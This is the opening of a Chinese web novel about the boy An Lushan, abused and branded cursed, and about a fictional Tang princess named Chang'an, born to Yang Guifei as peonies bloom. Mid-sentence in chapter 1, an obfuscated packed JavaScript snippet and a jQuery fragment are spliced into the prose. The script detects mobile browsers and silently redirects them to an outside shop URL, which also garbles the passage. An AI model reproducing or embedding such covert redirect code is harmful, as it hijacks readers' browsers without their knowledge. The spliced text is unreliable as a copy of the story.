《大唐明珠与逆臣安禄山》 1. 他要去长安 他做了一个梦。 梦里,他站在一座宽阔而又气派的院子里,明媚的阳光洒落到他的身上,四周盛放着万紫千红的牡丹花,令人流连忘返。 他惊讶地看着眼前的一切。 这样美丽到几乎是圣洁的院子,恍若仙境一般,居然令他产生了一丝不配身处其中的卑微。 他眨了眨眼,忽然面前的不远处,就在那盛放的牡丹花中,居然出现了一个婀娜的身影。 那人背对着他,如墨一般的长发梳成了极其漂亮的发髻,身着一件鹅黄色的襦裙,单单是看背影,便足以想象是如何的倾国倾城。 只是一个背影,便令他着迷到险些忘记了呼吸。 他不由自主地迈开腿,想要向那个身影走去。 随后,他便听到面前的窈窕身影发出了惊喜的声音:“哇,这里就是长安吗!” 就在这时,梦醒了。 十二岁的安禄山缓缓睁开眼睛,发现四周是一片茫茫田野,自己正倚在一块巨石前,身上盖着离家逃走时拿着的那件袍子。 刚才......只是做了一个梦吗。 可是那个仙境一般的院子,那个美若天仙的背影,还有少女美妙悦耳的声音,又是那么真切...... 长安...... 梦里的那个少女说,那里是长安。 安禄山正发愣时,忽地左肩被人轻轻地拍了拍,他被吓了一跳,慌忙扭过头。 却见到一个和他年岁相当的少年正笑意盈盈地看着他。 哦,是他啊。 安禄山松了口气。 面前的少年和他一同出身营州柳城,是将军安道买的幼子。 也是和他一同逃离营州的同伴。 少年将手中的水壶递给他:“渴不渴,喝点?” 安禄山张了张嘴,喉间确实异常干涩,他接过水壶喝了两口。 “咱们现在到哪了?” 因着将军安道买和安禄山的继父在营州内都有势力,他们偷跑出来以后不敢走城内的街巷,更不敢拿着官籍去客栈住店,只能一路从荒野山郊里走,晚上就凑活找个石头倚着睡下。 少年抬起头,极目眺望远方:“再过半日,咱们就能出营州了!” 他这般说着,又扭过头兴奋地看着安禄山:“只要出了营州地界,就没人能找到咱们两个了,到时候天地之大任咱们走!” “等咱俩去到一个没人认识的地方,就再也不会有人骂你是不祥之子,再也没有父母和继兄们虐待你了,我也不会因为庶出的身份被人瞧不起,到时候咱们两个一起努力,建功立业,让任何人都不敢小看咱们!” 这话说得如此美好,少年的眼眸中闪烁着希冀的目光,年少的安禄山也不禁露出了期许的微笑。 不会再有人骂他身负不祥,不再有人随意打骂他吗。 那可真是太好了。 少年又问他:“话说你那块玉带出来了没,咱们这几日连着折腾,你可别弄丢了。” 闻言,安禄山连忙将手伸进怀里,从怀里拿出了一块白净的、折叠成四方形状的方巾,又将沾了灰尘的手往肚子上抹了抹,这才小心翼翼地将那块折叠好的方巾展开。 一块拇指大小的椭圆形黑玉正安静地躺在洁白的方巾之中,如今正值五月,春暖花开,阳光灿烂而又柔和,照应在这块明亮的黑玉上,平添了几分暖意。 十二年前他衔玉出生,那日他的生父上山打猎,却命丧群狼之手,而他出生后,他那身为巫师的母亲感应天兆,占卜了一卦,此后便认定了他是不祥之子。 而这块黑玉,自然就是他那穷凶极恶的命格里附带的不祥之物。 然而少年看到那块不祥的黑玉,却是惊喜地“哇”了一声。 他的眼中闪过不怀好意的光芒,转瞬即逝,随后便伸出手想要将那块黑玉拿起。 安禄山连忙攥住了手里的方巾,护住黑玉不让他碰。 见状,少年扫兴地扭过头,小声嘟囔了一句:“切,真小气。” 但随后又看向安禄山:“你这块玉成色这么好,等咱们出了营州,把它卖掉,肯定能卖个大价钱,反正倒时候也没有人知道这块玉是不祥之物。” 然而安禄山却摇了摇头,将那块方巾重新折叠好,然后重新揣进了自己的怀里。 从小到大,这块玉被无数人骂做不祥,有的人甚至想要把玉抢走毁掉,为此他曾经数次因为护住自己的玉遭到毒打。 可是他从未产生过将这块玉丢弃的想法。 一次也没有。 这块玉陪伴了他十二年,是他从小到大唯一能够珍视的东西了啊...... 少年见安禄山又把那块玉重新揣了起来,眼中闪过不甘。 个死胖子,一路上都把这块破玉揣在怀里,他连下手的机会都没有,不知道的还真以为这块破玉是个什么宝贝呢。 只是不甘归不甘,少年面上不显,而后笑着问他:“那等离开了营州以后,咱们要去哪啊?” 闻言,安禄山眼眸微动,不由得想到了方才的那个梦。 那样漂亮的大院子,花团锦簇,那个少女说,那是长安...... 他张开口,缓缓道:“去长安。” “长安?”少年微微一愣,而后惊喜道,“长安好啊!长安是大唐的都城,天子脚下,温柔富贵乡,十里黄金路......据说连街道都是金子铺就的!” 街道是不是金子铺的,安禄山不知道,但是他知道,长安一定开满了牡丹花。 各种颜色的牡丹花盛放在一起,一定无比壮丽。 这般想着,少年赶紧催促他:“那咱们快走吧,看天色应该是到了开城门的时辰了,早点离开营州,早日去长安!” “嘿嘿嘿,温柔富贵乡,十里黄金路啊!” 于是两人迅速收拾行囊,又赶路了半日,终于遥远地望见了营州的城门。 “快到了快到了!”少年连忙拽着安禄山的衣袖往前跑,“快走,等出了城门咱们就自由了!” 安禄山看着远处那恢弘高大的城门,不断有行人来往进出,而在城门外,是一眼望不到尽头的山峦和天际。 那是希望,是光明,可以远离父母的鞭打,远离周围人的唾弃,堂堂正正做人。 是自由和尊严啊! 两个少年激动地向着远处的城门狂奔而去。 快些,再快些! 只要出了城门,他们就自由了! 他们激动地看着那越来越近的城门,高大的城门在阳光下染上了一层金碧辉煌的荣光。 近了,更近了...... 就在这时,两个少年停下了脚步。 他们恐惧地看着城门前,那个骑在马上的高大身影。 那是少年的二哥,将军安道买的次子,官任兰州别驾的安贞节。 完了。 彻底完了。 ...... “你真是胆子越来越肥了,居然还敢拐走将军的儿子!”歇斯底里的吼声响彻整个正堂。 那时安贞节已经在城门处等他们许久了,见到他们果然自投罗网,不由分说便将他们抓了回去。 至傍晚时辰,重新把他们带回了营州柳城,各自的家中。 而此时,安禄山的母亲手里正拿着一根带着薄刃的鞭子,狠狠地抽在安禄山的身上,留下一道又一道血痕。 “你一个身负诅咒的不祥之子,出生的时候就克死了你父亲,你现在还想要连累我一起死吗!” “如果不是占卜里说,不能杀死你,我早就在你出生的时候把你给掐死了!” 安禄山的母亲一边用力地抽打着蜷缩在地上惨叫的少年,一边面目狰狞地大吼着,声嘶力竭。 不知过了多久,门外逐渐响起了脚步声,越来越清晰,安禄山的母亲这才从发疯中回过神来,抬起头看向院外。 随后,她便见到将军安道买正带着自己的小儿子,缓步走来。 安母的脸上连忙换上了一副谄媚的笑容,仿佛方才面目狰狞的那个女人不是她,迈着小碎步恭顺地迎上前去:“见过将军。” 安道买面色阴沉地点了点头,又看向正艰难地从地上爬起来,满身血痕的少年:“你就是安禄山?” “对,他就是。”安母连忙去把少年粗鲁地拽起来,呵斥道,“见到将军你还不快行礼!” 少年刚摇晃着身子勉强站起来,便又被母亲一脚踹中膝盖,跪了下来。 “见......见过将军。” 安道买冷笑了一声,上下打量着这个微胖的少年:“你真是好大的胆子,居然想要拐带我儿!” 闻言,安禄山连忙抬起头,忍着身上的剧痛辩解道:“不,不是我拐带的!” 他颤颤巍巍地伸出手,指着安道买身后的少年:“是他,是我们两个......一起商量好的,我没有拐带他......啊!” 安禄山话音未落,便又是一记凌厉的鞭打落在他的身上,那已经被抽烂成破布片的衣服上再次平添了一道狭长的血口子,他不由得惨叫了一声。 安母气得声音都在发颤,朝他怒吼道:“你还敢狡辩!” 安道买发出了一声冷笑,随后看向站在自己身后,正浑身发抖的儿子。 “到底是他拐带的你,还是你俩一起商议好离家出走的?” 少年亲眼看到安禄山被安母抽打的奄奄一息,满眼都是恐惧,生怕自己也会被父亲抽烂。 此刻闻言,双腿一软便跪在了地上,哭着道:“是安禄山拐带的我啊!我是无辜的啊!” 他颤颤巍巍地伸出手,指着因为疼痛而蜷缩成一团的安禄山:“安禄山威逼利诱我!说若是我不跟着他一起出逃,他就诅咒我,诅咒我不得好死啊!” “父亲,您要给我做主啊!” 闻言,安禄山难以置信地看向自己的同伴。 安道买冷冷地看着安禄山:“这下你还有什么好说的?” 安禄山眼中闪烁着绝望的目光,他张开口,还未发出声音,又是一记鞭打抽在他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14426323|153733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身上,直接将他抽倒了。 “你居然还学会了说谎!”安母那握着鞭子的手因为愤怒而不断颤抖着,她几乎用尽全身地力气去抽打躺在地上的少年,“我辛辛苦苦把你养到这么大,为了你我遭到了多少人的辱骂,你如今就是这么报答我的吗!” 安母不断抽打着安禄山,鞭子落下地迅速且凌厉,地上的少年不断发出凄厉的惨叫声。 安道买见到安母居然打得这么狠,也不好再说什么了,他冷哼了一声,带着儿子扬长而去。 可安母的动作并没有因为将军的离去而停止。 她继续发了狠地抽打着,仿佛正在地上蜷缩着的那个不是个活人,不是她的儿子,而只是一坨烂肉,一块用以泄愤的死物。 如此又过了许久。 最后,直到安母的手心手腕都抽到红肿,她才堪堪扔掉手里的鞭子,狠狠地瞪着眼前不断颤抖着、鲜血与泪水一同淌下的儿子。 “现在,滚回你的马厩去,今晚你连一口水都别想喝!” ...... 傍晚时分,安禄山蜷缩在马厩里的草垛上。 他的全身都因为疼痛而不断颤抖着,鲜血和泪水沾湿了身下的草垛。 草垛上胡乱地用破布堆成一团圆鼓鼓的东西,那是安禄山的枕头;而在他颤抖的身侧,则瘫着一条脏兮兮的、但还算完整的布衾,那是他的被子。 他四岁时跟随母亲改嫁进了这座院子,自那以后的八年,他便一直住在这个马厩里,与一匹老马为伴。 马厩里常年有着一股马粪的臭味,可是安禄山早已经习惯了,甚至于此时此刻,可能他身上的血腥味,要比马粪的气味更加浓重。 天色渐渐地暗了下来。 不知过了多久,安禄山疼得几近昏厥,正迷迷糊糊间,一阵冰冷的触感袭来。 他连忙打了一个激灵,颤抖着睁开眼。 安禄山的两个继兄正站在马厩外,手里拿着空水桶,还维持着用水泼他的姿势。 而安禄山整个人和他身下的草垛,都已经被浇透了。 “你居然还没被你娘打死。”其中一个继兄恶狠狠道。 “要么说是不祥之子呢,哪那么容易死啊!”另一个不怀好意地看着他。 而安禄山此时已经虚弱到了极点,甚至连还嘴的力气都没有了。 马厩外的那两个少年见状,脸上不禁露出了扫兴的神色。 随后他们又互相看了对方一眼,很快默契地达成一致,一起走进马厩里,把满身伤痕的安禄山给拖了出来。 安禄山身上的那件衣服已经近乎破成了一堆碎布,堪堪挂在他的身上,此时在地上这么一磨,那些能连接在一起的部分也不堪重负地裂开来。 一直被他揣在胸口的那块方巾,连同方巾里的黑玉,也掉落到了地上。 “哦?”两个继兄眼前一亮,“这就是你的那块黑玉吧?” 其中一个走上前,将那块方巾捡了起来。 说时迟那时快,就当他捡起那块方巾,快要直起腰的时候,地上响起了一声沙哑的呐喊。 “还给我!” 安禄山忍着全身的剧痛与冰冷的麻木,用尽全身最后一丝力气撑起身子,将自己的玉从继兄手里夺了回来,紧紧护在怀里。 那个继兄拿着方巾的手被安禄山这么一抓,身子一个趔趄,差点摔倒。 他和他的兄弟都不由得生气地看向安禄山。 “你还敢反抗?!”其中一个上去就是一脚。 无数的拳打脚踢朝着伤痕遍体的安禄山袭来,而已经几乎没有力气的他只能蜷缩成一团,将自己的玉紧紧地怀里。 不知过了多久,两个继兄终于泄愤完,心满意足地离去。 已经入夜了。 安禄山颤颤巍巍地爬回了马厩里那堆湿漉漉的冷硬草垛上。 五月已至仲夏,白日里阳关灿烂而不热烈,暖意十足,可是营州的地界在大唐的最东北,入夜以后,依旧冷风袭袭。 阵阵冷风刮在已经湿透的少年身上,刺痛着他全身的每一道伤口。 已经疼到麻木的少年浑身颤抖着,他勉强伸出手摸了摸身侧的布衾,也已经湿透冰冷。 后来,他觉得自己的脑袋有些晕晕的,身上明明已经被风吹干了,却更冷了。 我一定是发热了吧,安禄山心想。 发热也好,脑子不清醒的时候,就总归感受不到痛了。 就是......他从今日早上起就没吃一口饭,现在好饿啊...... 不知过了多久,又冷又饿的安禄山蜷缩在马厩里,渐渐陷入了昏睡。 意识模糊之际,他在心里悄悄下定了决心。 总有一日,他一定要逃离这个地方,去外面。 去到一个美好的,可以幸福生活的地方。 迷迷糊糊间,他仿佛又看到了那个开满牡丹花的院子,那个窈窕的少女,还有那个惊喜的声音。 那是长安。 对,他要去长安...... 2. 封号,长安 在大唐的某个角落,某个不知名的马厩里,一个伤痕累累的少年在饥寒交迫中渐渐地睡着了。 而与此同时,千里之外的大唐都城——长安。 今夜皇宫灯火通明,皎洁的月色几乎与宫内灿烂的灯火融为一体,照亮了整座兴庆宫。 如今正值五月中旬,正该是牡丹花盛放的季节,无论是宫殿前,还是园林内,亦或道路两旁,都摆满了各色的牡丹花,一步一株,鳞次栉比。 只是,尽管这万紫千红的牡丹几乎覆盖到了皇宫的每个角落,然而这些花却全都摇曳着饱满的花苞,含羞待放。 竟没有一朵盛开,很是离奇。 虽说牡丹花期在五月,可每朵花各有自己的命数,总有开得早或开得晚的。 可是今年,莫要说整座皇宫里,就是整个长安,所有牡丹花全都没有盛开,无论花苞结得是早还是晚,如今却全都引而不发。 就像是等待什么一般。 为此,整座长安城都暗暗称奇。 今夜,右金吾卫兵曹参军杨钊入宫觐见族妹杨贵妃,早有小宦官在宫门前等候,见到杨钊前来,连忙带着他往新射殿走去。 途中见到无数来往的宫人,他们无不紧张地低着头,手里捧着各式各样的东西,迈着小碎步快速地行走着,大气都不敢出一声。 杨钊不禁有些惊奇:“往日进宫时,未曾见到如此忙碌之景啊?” 闻言,原本走在前面的小宦官连忙放慢了脚步,和杨钊并行。 随后扭过头小声道:“杨参军还不知道吧?今日贵妃娘娘发动了!” 杨钊登时惊异地瞪大眼睛,难以置信的声音响彻安静的甬道:“这怎么可能?!” 末了,他似是也注意了自己的声音太过突兀,连忙压低声音问道:“不应该啊!算算月份,娘娘怀胎还不到八个月啊!” “可不是嘛!”那小宦官长叹了一口气,“娘娘辰时用过早膳,出新射殿时不小心迈错了台阶,本来身边的宫女都已经扶住了,娘娘却还是受了惊。” “结果这一受惊,就发动了!” “那,那......”杨钊惊得都有些结巴了,他连忙问道,“贵妃娘娘如今可是已经生产完了?” “还没有呢!”小宦官捶胸顿足,神情很是苦恼,“娘娘从早上就开始发动,如今这都快一天了,羊水都快流尽了,陛下给整座太医院都下了死令!” 小宦官这般说着,又指着四周来往的宫人:“杨参军看到这些宫人了没,全都是从太医院往新射殿的!” 杨钊惊得冷汗都冒出来了:“这......这可如何是好啊!” 娘娘可不能有个什么好歹啊!他们弘农杨氏全族的荣辱,如今可全都系于娘娘一身了! 这般说着,两人已至永巷,再往前走,过了丽苑门,便是天子所居的南薰殿了。 小宦官却在丽苑门前停了下来。 杨钊见此连忙问道:“怎么了?” 小宦官有些小心地往里看了一眼,低声道:“杨参军前段时间出了京,今日才回来复命,您是有所不知啊!” “什么?”杨钊闻言,心都漏了半拍。 “其实这些时日里,宫里宫外都流传着中伤娘娘的传言!”小宦官说着又往左右瞧了瞧,见附近没人,这才小声问道,“杨参军应当是知道,今年整座长安城的牡丹,一朵都没开吧?” 杨钊连忙点了点头:“此事我确实知道,可是这和传言有什么关系?” “嗐呀!”小宦官多了跺脚,面露苦色,“整个长安都说娘娘此胎不祥,惹怒了上苍,因此老天爷命令满长安的牡丹都不许开放!” “更有方士预言,说等到娘娘诞下皇嗣之时,满长安的牡丹即刻凋谢,是为大凶!” “放屁!”杨钊气得破口大骂。 无论是于情还是于理,他都不可能忍受别人这般构陷自己的族妹,此时听到如此荒唐的传言,他气得满脸通红。 “这么荒唐的言论,难道陛下都没有管管吗!” “怎么没管呢!”小宦官长叹了一口气,“为了这事,陛下都下令抄斩了不止三拨人了!” 可是有什么用呢,这传言照样满天飞,止都止不住,甚至都传到宫里来了! “不行......不行!”杨钊的胸口因为愤怒而剧烈起伏着,他来回踱了几步,而后拔腿就往丽苑门内走去,“我要见陛下,我要见娘娘!” “哎,杨参军!”小宦官见状,连忙跟了上去。 两人一前一后迅速赶往新射殿,待他们终于遥远地望见新射殿的时候,却忽地听到自殿内响起了惊喜的喊声:“生了,生了!” “娘娘生了!” “是小皇女!” 一时间,无数宫人开始欢呼,欢呼娘娘成功降下皇女,也欢呼他们不会被陛下迁怒。 劫后余生的欢呼庆贺声自新射殿而起,逐渐响彻整座兴庆宫。 就连杨钊也不由得停下了脚步。 这时,不知是哪个宫人喊了一声:“欸?你们看,牡丹!” 随后便有人惊奇道:“牡丹开花了!” “天啊,全都开了!” “居然都开了,还是一起开的!” 杨钊和小宦官也不由得扭过头看向四周。 而后皆惊讶地瞪大了双眼。 只见他们周围的那些牡丹,无论是新射殿前还是道路两旁,所有原本含苞待放的牡丹花,如今竟一同齐放,万紫千红。 五颜六色的牡丹花一时开满了整座兴庆宫,无比壮丽。 · 彼时的新射殿内,李隆基还在偏殿外焦急地等候着。 没过一会儿,偏殿的门便被推开,稳婆抱着孩子走了出来,脸上堆着谄媚的笑意。 “是个小皇女,恭喜陛下,贺喜陛下!” 一时间,周围的庆贺声络绎不绝:“恭喜陛下喜得皇女!” “恭喜陛下,贺喜陛下!” 在一片嘈杂之中,李隆基低下头看着稳婆怀里那个襁褓之中的婴儿。 婴儿长得小小的,瘦瘦的,皮肤却异常白嫩,那双眉眼尚未长开,便已像极了他的贵妃。 李隆基的心几乎在刹那间就柔软得一塌糊涂。 他不由自主地伸出手,自稳婆手里接过了那个小家伙。 却在接过小家伙的同时,心里骤然一沉。 这孩子早产了三个多月,轻得如同羽毛一般,小嘴巴微微张合,发出的哭声宛若猫儿一般细小。 这么小,怕是养不活啊...... 这般想着,他又连忙看向偏殿的殿门,眼底溢满了担忧:“贵妃呢,贵妃如何了?” 他话音方落,偏殿的门又被推开了,贵妃身边的大宫女匆匆走了出来,跪在他的身前。 而后大宫女抬起头,脸上是溢于言表的欣喜:“回禀陛下,娘娘无事,母子平安!” 闻言,李隆基终于松了一口气,悬在半空的心缓缓落了地。 方才一直安静地侍立他身侧,默不作声的高力士这才走上前来,笑着祝贺道:“恭喜陛下,母子平安,这下陛下可以放心了吧?” 于是,周围又响起了一阵祝贺声。 李隆基不由得看向怀里小小的女儿,看向她那像极了母亲的眉眼。 他缓缓低下头,轻轻地亲了亲女儿洁白的脸颊。 这可是他最爱的女人给他生的女儿啊...... 小一些没关系,都说七活八不活,他的女儿可是七个月生下来的,定然能好好地长大! 就算是先天弱些也无妨,他是大唐的天子,坐拥天下奇珍异宝,到时候给这孩子用各种天才地宝养着,还愁补不回来吗? 就在这时,外边忽然响起了宫人们的欢呼声:“开了开了,牡丹花全都开了!” 众人全都惊讶地看向外面。 牡丹花开了? 连着半个月一朵不开的牡丹花,如今居然开了?! 正惊讶间,一个小宫女跌跌撞撞地跑了进来,跪倒李隆基的面前欣喜道:“启禀陛下,外面的牡丹花全都开了!” “就在皇女出生的那一刻,所有的牡丹花一起开的!” 高力士不由笑着道:“大吉啊!这满长安的牡丹迟迟不开,哪里是因为触怒了上天,这分明就是上天专命牡丹花等候小殿下降生呢!” “依奴才看啊,皇女殿下说不定是牡丹仙子转世呢!”他说着便拱手,“恭喜陛下,贺喜陛下啊!” “哈哈哈哈哈!”李隆基抱着襁褓之中的女儿大笑,他低头看着怀里小小的一团,眼里的温柔几乎快要腻出水来。 “传朕旨意!”他当即抬起头,高声道,“册封三十皇女为公主,封号——” 话说于此,李隆基却是戛然一顿。 向来擅长诗词歌赋的他,此时此刻,居然一时间想不出什么好听的封号了。 倒也不是想不到什么好听的,他的脑海中在一瞬间闪过了无数好听的名字,景瑶啊,婉宁啊...... 但是这些着实都太小家子气了,做名字自然合适,可是作为封号就...... 这可是他的贵妃给他生的宝贝女儿,身负如此天命,怎么也得来个霸气些的。 他这般怔愣着,高力士不由得上前,谄媚地笑道:“公主身负天命降生,为牡丹仙子转世,不如就封做牡丹公主如何?” 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奇异的是,随着他这么一哄,怀里的女儿居然真的渐渐安静了下来。 李隆基的心更加软了。 这孩子是个有灵性的,说不定真是牡丹仙子转世呢。 可心软的同时也更加气愤,这帮狗奴才,差点就害死了他的女儿! 这般想着,李隆基当即道:“来人,把这个——” “冤枉啊!”回过神来的大宫女连忙跪了下来,“求陛下明鉴!这块玉不是娘娘的呀!” “你说什么?”李隆基不由得眯起眼。 “奴婢,奴婢自打娘娘当初出家时便一直跟在娘娘身边,如今已经快五年了,娘娘的每一根簪子,每一块玉,奴婢都记得清清楚楚!”大宫女哭着抬起头,“可是这块玉,奴婢从来没有见过啊!” 闻言,李隆基冷笑了一声:“怎么,难不成你的意思是,有人今日趁着贵妃生产的空当,越过了森严的宿卫,带了一块玉进宫里来,还放进了公主的嘴里?” 然而他话音刚落,高力士忽地灵光一闪:“等等……陛下,有没有可能,这块玉不是从外面带来的?” “这还用你说!”李隆基冲着他怒吼了一声,“宿卫是吃干饭的吗,能让人从宫外带块玉进来!” “陛,陛下息怒啊!”高力士连忙跪了下来,额头布满冷汗,“奴才不是这个意思!” “那你是个什么意思!”李隆基的额头已经爆满青筋。 身为皇帝,本就是没有耐心的,现在他的耐心几乎已经耗尽了。 而一旦皇帝耗尽了他的耐心,那么…… 伏尸百万,流血千里,并非无稽之谈。 “奴才的意思是,公主衔玉出生啊陛下!”高力士全身颤抖着道,“陛下您想想,这玉既不可能是宫外带来的,宫女们也不可能在贵妃生产之后把玉放进公主嘴里啊!” “那就只有一种可能,便是公主衔玉出生啊!” “公主今日降生,满长安牡丹一同盛放,足以见公主命格不凡,如今衔玉出生,再正常不过了啊!” 此言一出,李隆基这才被点醒。 今日奇闻种种,这还真的有可能。 就在这时,怀里的女儿动了。 小家伙从襁褓里伸出了小手,抓向李隆基手里的那块玉石。 李隆基下意识将玉石交给女儿。 随后,小家伙手里握着那块玉石,居然再次把它放进了嘴里。 然后冲着自己的父亲笑了。 李隆基:!!!! “快,快吐出来啊!”他连忙把手指伸进女儿的嘴里,把那块玉石抠出来。 我的闺女啊!这不能吃啊啊啊! 而他的女儿也不反抗,配合地张开嘴,让他把玉石拿了出来。 李隆基长长地舒了口气。 他觉得自己这辈子都没这么紧张过,当年宫变的时候都没有。 彼时周围的众人已经看呆了。 过了半晌,高力士最先回过神来,面露惊喜:“陛下,公主是在告诉您,这块玉就是她的呀!” “恭喜陛下,贺喜陛下,满长安牡丹一同盛放,公主又衔玉出生,此乃神迹啊!” 一时间,劫后余生的贺喜声络绎不绝,一次比一次热烈。 而在这道贺声中,李隆基灵光一闪。 “传朕旨意!”他怀抱着心爱的女儿,高声笑道,“册封三十皇女为公主,封号——” “——长安!” 3. 要去宫外玩! 八年后。 作为大唐的都城,长安一如既往的热闹非凡,街市上行人旅客来而又往,叫卖声络绎不绝。 正午时辰,长安城最负盛名的一家酒楼内,几个高大英武的男子步入其中。 这些人皆身材健硕,不怒自威,看起来极不好惹,而且大多一副风尘仆仆的模样,想来是刚从外地赶来的长安,身上的衣料不甚名贵,但看起来也算殷实。 唯有为首的那个男子,约莫四五十岁的模样,面容带笑,衣着名贵,气度不凡,一看便知是某位勋贵。 店小二见状急忙迎上前来,脸上露出恭敬的笑容:“几位客官是想在楼下凑个热闹,还是到楼上找个清静些的包厢?” 他这般说着,却在看到那几个男子中,其中一个长得尤为高大,体型肥壮,胡人长相的年轻男子时略微愣了一下。 继而眼中闪过一丝轻蔑。 哟,胡人啊。 即便这轻蔑的眼神一闪而过,但还是被那个年轻男子敏锐地注意到了,只是他在心里淡淡地冷笑了一下,懒得理会。 话落间,为首的那个男子含笑道:“去楼上。” 一行人跟着店小二上了楼梯,到了二楼的包厢。 中途,为首的那个男子扭头看向身侧另一个年岁相当的中年男子,笑着道:“守珪兄,你们自幽州远来一趟不容易,今日我必要尽一尽地主之谊。” 而被他称作“守珪兄”的那个中年男子,也客气地笑了一下:“那就有劳利贞兄了。” 说话的这两人,说要尽地主之宜的那位名张利贞,官居御史中丞,乃朝廷命官;而自幽州远道而来的那位,名张守珪,乃是当今的幽州节度使,戍边将领。 两人早年于官场相识,又是同姓,一直为故交,此次张守珪带领亲信前来长安参加公主的生辰宴,张利贞特意亲自招待。 等着几人到包间落了座,店小二给他们几人挨个倒茶。 只是茶倒了一圈,却唯独漏了那个胡人长相的年轻男子。 这时,张守珪忽地感慨道:“我年轻时也曾于长安待过数年,和今日的热闹相比差得不知凡几,想来是在圣上的恩泽下,这长安也是愈加繁华了啊。” 闻言,张利贞笑而不语,反倒是倒茶的小二笑着道:“客官您有所不知啊,这长安自然是一日比一日繁华的,可是要说这几日嘛,那可是格外得热闹呢!” “哦?”张守珪不由得挑眉,“这是为何?” 店小二笑了笑:“几位客官自幽州远道而来,想来是不知晓,明日便是长安公主的生辰了吧?” “这个我们的确是知道的。”张守珪答道,“不过我们单是知晓,明日圣上在花萼相辉楼为公主举办生辰宴,可这公主的生辰,竟还能使全长安都热闹起来?” 闻言,那店小二笑得愈加灿烂:“那是自然的!” “诸位客官有所不知啊!”店小二笑着解释,“长安公主乃贵妃娘娘所出,贵妃娘娘独宠后宫,公主殿下更是集万千宠爱于一身。” “满长安城的百姓都知道,八年前的五月,全长安的牡丹花结花苞后全都引而不发,直至十五那日夜里,公主衔玉降生。”店小二说着,眼里是挥之不去的向往,“那一夜啊,满长安城的牡丹一同盛放,为公主的降生而欢呼。” “大家都觉得,长安公主定然是牡丹仙子转世呢!” 在店小二的叙述中,众人的脑海中无不映现出万千牡丹一同盛开的景象,真正的百花齐放,那该是何等壮观的景象啊! 唯有那个胡人长相的年轻男子诧异道:“公主是衔玉降生的?!” 他话落间,不由自主地伸出手,捂住自己的胸口。 更确切的说,是他一直随身放在胸口的玉佩。 “没错!” “公主贵为天命之女,据说一落地啊,陛下连名字都还没给公主想好,就先把封号定下来了,可见其宠爱之盛啊!”那店小二的语气中是难掩的兴奋,他这般说着,举起手里的茶壶,给那个年轻男子倒了一杯茶,“来,客官!” 那个年轻男子接过店小二倒的茶,不由得抬起头看向后者,却见对方原本眼里的那一丝轻蔑已经全然消失殆尽,取而代之的则是满眼的兴奋和热情。 这突如其来的态度转变,让他不禁觉得有些神奇。 而更让他觉得神奇的,还是那位同样衔玉出生的公主。 “传闻贵妃娘娘倾国倾城,想来长安公主也定然是花容月貌吧。” 闻言,张守珪倒是微微一笑:“明日公主生辰宴,你也是要随我同去花萼相辉楼的,届时不是还要给公主献舞么?” “到时候你大可亲眼看看公主长什么样子。” 此言一出,那店小二大惊,不可思议地看着那个年轻人。 “客官要去给公主献舞吗?!” 明日公主生辰,圣上在花萼相辉楼设宴,的确是万民同享,可是,普通人也充其量就是站在一楼,做个凑热闹的观众罢了。 可是那些能登台为公主献舞的,若非勋贵世家,那至少也是有些势力和背景的啊! 他自然是能看出这一行人来头不小的,可是他没想到眼前这个胡人出身的年轻男子,看起来身材肥壮、其貌不扬,竟是也能为公主献舞的。 看来还真是人不可貌相啊。 这般想着,他看向对方的眼里竟还增添了一丝钦佩和艳羡的狂热。 “那可真是太好了,据说贵妃娘娘和长安公主啊,母女两人的相貌可抵全长安的女子,客官明日便能一睹贵妃母女的风采了!” 末了,店小二记下了这行人点的菜,笑着退了下去。 等过了一会,小二们又陆续端着饭菜走进包间,等所有的菜都上齐了之后,原本的那个小二含笑道:“客官们点的菜都上完了,小的就在包间的门外守着,客官们若是有什么需要,招呼一声小的就在。” “哦对了,当年为了庆贺公主生辰,陛下特许每年的这个时候,全长安免七日宵禁,万民同欢,今夜是最后一夜,长安各处的夜市尤为热闹,各位客官若是感兴趣,可以夜里去看看。”那小二说着对这一行人抱拳行礼,“小的在此祝各位客官长安此行吃好喝好,玩得尽兴!” 等到店小二退下以后,张守珪不禁道:“这小二真是有意思。” 话能多成这样,胆子也是真不小。 张利贞笑道:“哈哈,守珪兄你有所不知啊,公主恩泽,万民同享,公主生辰的这几日啊,不管你是勋贵还是平民,是本地人还是外邦人,除非是做了什么太过火的事,否则大家都一视同仁。” “那这长安公主可当真是当今的掌上明珠啊。”张守珪感慨。 “何止是当今的掌上明珠?”张利贞道,“依我看啊,说公主是大唐明珠都丝毫不为过。” 他话音刚落,忽然周围响起了一阵“咕噜噜”的声音。 “什么声音?” 众人不禁左右张望着,去寻找声音的来处。 最后发现声音是从那个胡人长相的年轻男子的肚子里发出的。 张利贞哈哈大笑:“瞧咱们关顾着说话,给贤侄都说饿了,好了好了,那咱们就快些动筷吧!” 那个年轻男子如蒙大赦,却还是等着东道主张利贞和义父张守珪先动了筷,这才举起筷子给自己夹了道菜。 这时候,张守珪有些威严地瞥了他一眼:“安禄山,你也少吃些,瞧自己都胖成什么样了。” 安禄山闻言,连忙点头应道:“是,义父。” 见此,张利贞不禁劝道:“哎,守珪兄,孩子想吃就让他吃呗,咱又不缺这几块肉。” “这自然不是缺不缺的问题。”张守珪指着安禄山道,“他都快胖成球了,瞧那脸蛋和下巴上的肥肉,又胖又丑的。” “胖成这样,到今年都弱冠了,连个媳妇都没讨到,他爹娘不管,我这做义父的总得帮着管管吧?” 此言一出,张利贞也不禁有些惊讶地看向安禄山:“都二十了,还没有婚配?” 早在开元年间,圣上便修改律法,男十五、女十三即可婚嫁,如今这孩子都二十了还没娶上媳妇,那确实有些...... “那也不应该啊?”张利贞不禁疑惑道,“贤侄虽胖了些,可如今官居幽州节度副使、兼任平卢兵马使,大丈夫成大事者何须看重长相,贤侄有如此功勋,不可能连个媳妇都讨不到啊?” 安禄山低头喝着茶,不敢言语。 难道是他不想娶媳妇吗? 娶媳妇就得行纳采、过六礼,过六礼就得把他的母亲和继父请过来。 